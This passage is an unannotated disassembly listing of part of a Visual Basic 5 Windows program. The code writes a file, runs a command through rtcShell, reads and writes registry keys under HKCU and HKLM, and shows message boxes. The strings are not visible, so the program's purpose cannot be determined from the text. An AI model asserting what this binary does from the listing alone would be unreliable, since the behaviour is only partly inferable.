mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x432d7b
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410618
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
mov edx, dword [ebp - 0x24]
push eax
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
mov eax, dword [ebp - 0x44]
push eax
jmp 0x432cad
mov eax, dword [ebp - 0x14]
push eax
push 0x410234
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
jmp 0x432d07
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40c164
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
mov edx, dword [ebp - 0x34]
push eax
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea eax, [ebp - 0x88]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x88]
lea edx, [ebp - 0x84]
push ecx
lea eax, [ebp - 0x80]
push edx
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0x14
cmp eax, 5
jne 0x432d7b
mov ecx, 0xa
mov eax, 0x80020004
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xb8], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
push ecx
lea edx, [ebp - 0xa8]
push 0x30
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x432d7b
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
push 0x40e02c
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x432d7b
lea eax, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
lea edx, [ebp - 0x44]
push eax
push ecx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], 0x4008
call dword [sym.imp.MSVBVM50.DLL_rtcUpperCaseVar]
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0x150], 0x4101d8
mov dword [ebp - 0x158], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xb8]
lea eax, [ebp - 0xc8]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL_rtcUpperCaseVar]
lea ecx, [ebp - 0xa8]
push 1
lea edx, [ebp - 0xc8]
push ecx
push edx
lea eax, [ebp - 0xd8]
push 0
push eax
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x168], 0x8002
call dword [sym.imp.MSVBVM50.DLL___vbaInStrVar]
lea ecx, [ebp - 0x168]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarTstEq]
mov word [ebp - 0x1a0], ax
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xa8]
push edx
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
cmp word [ebp - 0x1a0], 0
je 0x432d75
push 0x4101d8
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
add eax, 1
jo 0x435277
push eax
lea eax, [ebp - 0x80]
push 0x4101d8
push eax
call edi
mov ecx, dword [ebp - 0x14]
push eax
push 1
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call edi
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edi, dword [ebp - 0x18c]
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 2
mov dword [ebp - 0x34], edi
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0xc
test edi, edi
jne 0x432b4a
call fcn.0042dd10
test ax, ax
je 0x432669
lea edx, [ebp - 0xa8]
mov dword [ebp - 0xa0], 0x80020004
push edx
mov dword [ebp - 0xa8], 0xa
call dword [sym.imp.MSVBVM50.DLL_rtcFreeFile]
lea ecx, [ebp - 0xa8]
mov ebx, eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
mov eax, dword [0x43c054]
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
push eax
push 0x410470
call edi
mov edx, eax
lea ecx, [ebp - 0x60]
call esi
mov ecx, dword [ebp - 0x60]
push ecx
push ebx
push 0xffffffffffffffff
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFileOpen]
push 0x410490
push ebx
push 0x40c15c
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
add esp, 0xc
push ebx
push 0x4104e0
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
mov edx, dword [ebp - 0x68]
add esp, 8
push 0x4104e8
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40b770
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push ebx
push 0x40c15c
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
add esp, 0xc
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0xc
lea edx, [ebp - 0xa8]
push 0x22
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xc8]
push 0x22
push ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea edx, [ebp - 0xf8]
push 0x22
push edx
mov dword [ebp - 0x150], 0x410518
mov dword [ebp - 0x158], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea eax, [ebp - 0x128]
push 0x22
push eax
mov dword [ebp - 0x160], 0x4101d8
mov dword [ebp - 0x168], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea ecx, [ebp - 0xa8]
push ecx
lea edx, [ebp - 0x148]
lea eax, [ebp - 0xb8]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xd8]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x158]
lea ecx, [ebp - 0xe8]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xf8]
lea eax, [ebp - 0x108]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
lea ecx, [ebp - 0x168]
push eax
lea edx, [ebp - 0x118]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x128]
lea ecx, [ebp - 0x138]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call esi
lea edx, [ebp - 0x138]
lea eax, [ebp - 0x128]
push edx
lea ecx, [ebp - 0x118]
push eax
lea edx, [ebp - 0x108]
push ecx
lea eax, [ebp - 0xf8]
push edx
lea ecx, [ebp - 0xe8]
push eax
lea edx, [ebp - 0xd8]
push ecx
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
lea edx, [ebp - 0xa8]
push ecx
push edx
push 0xa
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
mov eax, dword [ebp - 0x38]
add esp, 0x2c
push eax
push ebx
push 0x40c15c
call dword [sym.imp.MSVBVM50.DLL___vbaPrintFile]
add esp, 0xc
push ebx
call dword [sym.imp.MSVBVM50.DLL___vbaFileClose]
call dword [sym.imp.MSVBVM50.DLL_rtcDoEvents]
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0x60]
push 0x20
push edx
mov dword [ebp - 0x140], ecx
mov dword [ebp - 0x148], 0x4008
call dword [sym.imp.MSVBVM50.DLL_rtcDir]
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov ebx, eax
lea ecx, [ebp - 0x7c]
neg ebx
sbb ebx, ebx
inc ebx
neg ebx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
test bx, bx
je 0x4325d3
mov eax, dword [ebp - 0x60]
push eax
push 0x410520
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
mov ebx, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
jmp 0x43266f
mov edx, dword [ebp - 0x60]
push edx
push 0x41053c
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
mov ebx, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
lea ecx, [ebp - 0x7c]
call ebx
mov ecx, dword [ebp - 0x60]
push 0x4105a0
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x4105bc
call edi
lea edx, [ebp - 0xa8]
push 0
push edx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa8], 8
call dword [sym.imp.MSVBVM50.DLL_rtcShell]
lea ecx, [ebp - 0x7c]
fstp st(0)
call ebx
lea ecx, [ebp - 0xa8]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
call dword [sym.imp.MSVBVM50.DLL_rtcDoEvents]
mov edx, 0x4105d4
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x43266f
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
lea ecx, [ebp - 0xa8]
push 0xff
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceVar]
lea edx, [ebp - 0xa8]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
lea ecx, [ebp - 0xa8]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVar]
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov edx, dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
push ecx
lea eax, [ebp - 0x80]
push edx
push eax
mov dword [ebp - 0x18c], 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18c]
push eax
push ecx
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x44]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x80]
lea edx, [ebp - 0x7c]
push ecx
push edx
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x432ad5
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0xa8]
push 0
push ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL_rtcVarBstrFromAnsi]
lea edx, [ebp - 0x44]
lea eax, [ebp - 0x148]
push 1
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x160], edx
push eax
push ecx
lea edx, [ebp - 0xb8]
push 0
push edx
mov dword [ebp - 0x150], 1
mov dword [ebp - 0x158], 2
mov dword [ebp - 0x168], 0x4008
call dword [sym.imp.MSVBVM50.DLL___vbaInStrVar]
push eax
lea eax, [ebp - 0x158]
lea ecx, [ebp - 0xc8]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaVarSub]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaI4Var]
push eax
lea edx, [ebp - 0x168]
lea eax, [ebp - 0xd8]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharVar]
lea ecx, [ebp - 0xd8]
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xb8]
push edx
lea ecx, [ebp - 0xa8]
push eax
push ecx
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
mov edx, dword [ebp - 0x44]
add esp, 0x10
push edx
push 0x4101d8
call dword [sym.imp.MSVBVM50.DLL___vbaStrCmp]
test eax, eax
jne 0x43297a
push 0x4101a8
push 0x410604
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
mov ecx, dword [0x43c080]
mov dword [ebp - 0xc8], eax
push ecx
push 0x40a2d4
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x43c05c
mov dword [ebp - 0x148], 0x4008
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40a2d4
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
mov edx, dword [0x43c084]
push eax
push edx
call edi
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xc8]
lea ecx, [ebp - 0xb8]
push eax
lea edx, [ebp - 0x148]
push ecx
push edx
lea eax, [ebp - 0xa8]
push 0x24
push eax
mov dword [ebp - 0xa8], 8
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
xor ecx, ecx
cmp eax, 6
lea edx, [ebp - 0x80]
lea eax, [ebp - 0x7c]
sete cl
push edx
push eax
neg ecx
push 2
mov word [ebp - 0x1a0], cx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0xc8]
lea edx, [ebp - 0xb8]
lea eax, [ebp - 0xa8]
push ecx
push edx
push eax
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x10
cmp word [ebp - 0x1a0], 0
push 0x4101a8
je 0x432959
push 0x40e20c
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov dword [ebp - 0x3c], 1
push 0x435261
wait
jmp 0x43521b
push 0x40e974
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x432d7b
mov eax, dword [ebp - 0x14]
push eax
push 0x410618
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
mov ecx, dword [ebp - 0x24]
push eax
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
mov edx, dword [ebp - 0x44]
push eax
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
push eax
push 0x40c164
call edi
mov edx, eax
lea ecx, [ebp - 0x8c]
call esi
push eax
push 0
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x90]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x94]
call esi
lea eax, [ebp - 0x94]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x94]
lea edx, [ebp - 0x90]
push ecx
lea eax, [ebp - 0x8c]
push edx
lea ecx, [ebp - 0x88]
push eax
lea edx, [ebp - 0x84]
push ecx
lea eax, [ebp - 0x80]
push edx
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 7
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
add esp, 0x20
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
push eax
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xa8]
push ecx
push 0x30
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x432d7b
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410234
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40c164
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
mov edx, dword [ebp - 0x34]
push eax
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea eax, [ebp - 0x88]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x88]
lea edx, [ebp - 0x84]
push ecx
lea eax, [ebp - 0x80]
push edx
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x14
jmp 0x432d7b
mov edx, dword [ebp - 0x14]
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
push edx
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40c164
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea ecx, [ebp - 0x88]
push ecx
call fcn.004305c0
lea edx, [ebp - 0x88]
lea eax, [ebp - 0x84]
push edx
lea ecx, [ebp - 0x80]
push eax
lea edx, [ebp - 0x7c]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0x14
cmp eax, 5
jne 0x432d7b
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
push edx
lea eax, [ebp - 0xa8]
push 0x30
push eax
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea ecx, [ebp - 0xd8]
lea edx, [ebp - 0xc8]
push ecx
lea eax, [ebp - 0xb8]
push edx
lea ecx, [ebp - 0xa8]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x432d7b
mov edx, dword [ebp - 0x14]
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
push edx
push 0x4101f8
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40c164
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea ecx, [ebp - 0x88]
push ecx
call fcn.004305c0
lea edx, [ebp - 0x88]
lea eax, [ebp - 0x84]
push edx
lea ecx, [ebp - 0x80]
push eax
lea edx, [ebp - 0x7c]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x14
jmp 0x432d7b
mov eax, dword [ebp - 0x14]
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
push eax
push 0x4101f8
call edi
mov esi, dword [sym.imp.MSVBVM50.DLL___vbaStrMove]
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0x40c164
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea edx, [ebp - 0x88]
push edx
call fcn.004305c0
lea eax, [ebp - 0x88]
lea ecx, [ebp - 0x84]
push eax
lea edx, [ebp - 0x80]
push ecx
lea eax, [ebp - 0x7c]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x14
jmp 0x432d7b
mov ebx, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
mov esi, dword [sym.imp.MSVBVM50.DLL___vbaStrMove]
mov edi, dword [sym.imp.MSVBVM50.DLL___vbaStrCat]
mov edx, 0x41066c
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov edx, 0x41068c
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x18]
push edx
push 0x3f
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000001
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x68]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x18c]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x432e40
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x18]
push edx
push 0x20019
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x68]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x18c]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x433789
mov edx, 0x410708
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov eax, 4
lea edx, [ebp - 0x190]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x50]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18c]
push eax
push ecx
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x43312f
mov ecx, dword [ebp - 0x50]
cmp byte [ecx], 0
je 0x43314f
xor ecx, ecx
call dword [sym.imp.MSVBVM50.DLL___vbaUI1I4]
mov edx, dword [ebp - 0x50]
push 4
mov byte [edx], al
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
push eax
push 4
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x433064
mov edx, dword [ebp - 0x50]
mov eax, 4
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18c]
push edx
push eax
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x433056
mov eax, dword [ebp - 0x50]
cmp byte [eax], 0
jne 0x432fb1
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410724
jmp 0x433138
mov eax, dword [ebp - 0x14]
push eax
push 0x410618
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
push 0
call dword [sym.imp.MSVBVM50.DLL___vbaStrI4]
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
mov ecx, dword [ebp - 0x50]
push eax
mov dl, byte [ecx]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrUI1]
mov edx, eax
lea ecx, [ebp - 0x8c]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x90]
call esi
lea eax, [ebp - 0x90]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x90]
lea edx, [ebp - 0x8c]
push ecx
lea eax, [ebp - 0x88]
push edx
lea ecx, [ebp - 0x84]
push eax
lea edx, [ebp - 0x80]
push ecx
lea eax, [ebp - 0x7c]
push edx
push eax
push 6
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x1c
jmp 0x43314f
mov ecx, dword [ebp - 0x14]
push ecx
push 0x410234
jmp 0x433138
mov eax, dword [ebp - 0x14]
push eax
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
